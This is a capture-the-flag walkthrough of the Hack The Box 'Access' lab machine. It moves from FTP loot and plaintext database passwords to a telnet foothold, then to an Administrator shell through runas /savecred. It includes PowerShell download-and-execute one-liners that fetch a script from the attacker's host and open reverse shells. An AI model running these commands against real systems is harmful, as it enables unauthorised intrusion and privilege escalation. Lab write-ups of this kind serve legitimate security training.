Access

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Enumeration

Nmap

The Nmap scan indicates that anonymous FTP, Telnet, and a web server running IIS 7.5 are accessible. This IIS release comes bundled with Windows Server 2008 R2. A quick look at the website shows a still image taken from a data centre video feed.

ports=$(nmap -p- --min-rate=1000 -T4 10.129.235.125 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.235.125 -oN nmap_tcp -v

HTTP

FTP

On reviewing the FTP server, two files were found: backup.mdb and Access Contro.zip. As both are binary files, the FTP transfer mode was set to binary. After resetting the machine, the IP address has since changed.

Inspecting Interesting Files

mdb-tools

Running the file command on backup.mdb confirms that it is a Microsoft Access database. This can be analysed with the mdb-tools suite.

└──╼ [★]$ file backup.mdb
backup.mdb: Microsoft Access Database

The database tables are listed using mdb-tables, with grep colour output applied to highlight the tables of interest.

└──╼ [★]$ mdb-tables backup.mdb | grep --color=auto user
<SNIP auth_user auth_user_groups auth_user_user_permissions <SNIP>

An auth_user table is present, which appears to be a database backup from a ZKAccess installation. ZKAccess is an access control application used to manage card readers and the physical security of a site. Data from this table is extracted with mdb-export, revealing usernames along with plaintext passwords.

└──╼ [★]$ mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access<SNIP>",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

7z

Using the unzip command to extract the zip file fails, as it was compressed with an unsupported format. The file is then inspected with 7z, which reveals it is encrypted with the AES-256 algorithm. This encryption method is compatible with both 7z and WinZip.

└──╼ [★]$ unzip "Access Control.zip"
Archive:  Access Control.zip
   skipping: Access Control.pst      unsupported compression method 99

The zip file is successfully extracted using the password obtained earlier.

Foothold

The extraction reveals a file named Access Contro.pst, which is a Microsoft Outlook Personal Folder file used to store emails and related items. This can be examined further with the readpst utility. The tool can be installed by running:

sudo apt install pst-utils

└──╼ [★]$ readpst -tea -m "Access Control.pst"
Opening PST file and indexes...
Processing Folder "Deleted Items"
	"Access Control" - 2 items done, 0 items skipped.

We install thunderbird and open the eml file with thunderbird.

sudo apt install thunderbird

The email contains the password for the security account. Using these credentials, a Telnet session can be established, allowing access to retrieve the user flag.

Post-Exploitation

Upgrade from telnet shell

The Telnet shell is limited and not very practical. To obtain a more stable shell, a Python web server is started to host shell.ps1.

sudo python3 -m http.server 8000

Use the PowerShell reverse shell one-liner and save it as shell.ps1.

Start a netcat listener on port 443.

sudo nc -nvlp 443

The START command is employed to prevent the current Telnet session from becoming locked. The /B parameter ensures that no new window is created, allowing the incoming shell to use the full width of the screen rather than being restricted by the Telnet session’s display width. The IEX command (an alias for Invoke-Expression) executes the downloaded content directly in memory.

C:\Users\security>START /B "" powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.7:8000/shell.ps1')

After running the command, we catch a reverse shell:

└──╼ [★]$ sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.235.126] 49160

PS C:\Users\security> 

Saved Credentials

Running cmdkey /list shows that stored credentials exist for the Administrator account.

PS C:\Users\security> cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

Windows can store credentials for various reasons. One common case is when a system administrator sets up an application to run with the /savecred option. This stores credentials so that the user does not need to repeatedly enter the administrator password. However, Windows does not limit the use of runas /savecred to a single application. Once enabled, it can be used to run any command with elevated privileges.

Administrators may use this approach to save time, bypass application whitelisting, or grant write access to protected directories. Typically, runas /savecred is configured within a shortcut (.lnk file). The following commands enumerate all shortcut files on the system and check them for the use of runas.

Get-ChildItem "C:\" *.lnk -Recurse -Force | ft fullname | Out-File shortcuts.txt
ForEach($file in gc .\shortcuts.txt) { Write-Output $file; gc $file | Select-String runas }

It seems that the ZKAccess shortcut on the Public Desktop has been configured in this way.

When reviewing the Public user profile, the Desktop folder is not immediately visible because it is hidden. However, it can still be accessed by browsing into the folder and listing its contents. The folder is available to the built-in NT AUTHORITY\INTERACTIVE group. Any user who logs in interactively, either locally or through Remote Desktop or Telnet, will have the Interactive SID in their access token.

Privilege Escalation

Exploiting runas /savecred

The following command is used to launch a PowerShell reverse shell as ACCESS\Administrator. The root flag is then retrieved from the Administrator’s Desktop.

C:\Users\security>runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.7:8000/shell.ps1')"

└──╼ [★]$ sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.235.126] 49167

PS C:\Windows\system32> whoami
access\administrator

PS C:\Users\Administrator\Desktop> cat root.txt
23e9<SNIP>ca7b

References

• https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
• https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
• HTB Official Walkthrough for Access